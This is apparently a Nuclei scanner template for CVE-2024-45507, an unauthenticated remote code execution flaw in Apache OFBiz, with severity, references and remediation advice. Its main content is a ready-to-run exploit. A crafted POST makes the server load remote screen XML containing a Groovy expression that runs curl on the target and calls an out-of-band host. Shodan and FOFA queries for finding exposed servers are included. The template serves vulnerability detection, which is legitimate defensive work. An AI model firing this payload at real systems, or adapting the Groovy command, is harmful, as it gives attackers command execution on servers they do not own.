id: CVE-2024-45507

info:
  name: Apache OFBiz - Remote Code Execution
  author: chybeta,iamnooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
  impact: |
    Unauthenticated attackers can exploit missing view authorization checks to execute arbitrary code on Apache OFBiz servers.
  remediation: |
    Users are recommended to upgrade to version 18.12.16, which fixes the issue.
  reference:
    - https://xz.aliyun.com/t/15569
    - https://x.com/chybeta/status/1833184898913636424
    - https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy
    - https://ofbiz.apache.org/download.html
    - https://github.com/advisories/GHSA-w8w4-463p-8pg7
    - https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2024-45507
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45507
    cwe-id: CWE-918
    epss-score: 0.93382
    epss-percentile: 0.99826
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    vendor: apache
    product: ofbiz
    shodan-query:
      - ofbiz.visitor=
      - http.html:"ofbiz"
    fofa-query:
      - app="apache_ofbiz"
      - body="ofbiz"
  tags: cve,cve2024,apache,obiz,rce,oast,vkev,vuln

variables:
  oast: "{{interactsh-url}}"
  xml: '<?xml version="1.0" encoding="UTF-8"?><screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screen name="StatsDecorator"><section><actions><set value="${groovy:''curl {{oast}}''.execute();}"/></actions></section></screen></screens>'

http:
  - raw:
      - |
        POST /webtools/control/view/StatsSinceStart HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        statsDecoratorLocation=http%3a//oast.fun/x%3fb64_body%3d{{urlencode(urlencode(base64(xml)))}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "StatsScreens"
# digest: 4a0a00473045022100d85e8cffcf3935f860930805b250ea5ab76605de23863b8fceb72e416c3c8b4f022048a4e5aa7d39d06b38a226f362514da6ed82ca91d4b86c5b8555009ff3921be0:922c64590222798bb761d5b6d8e72950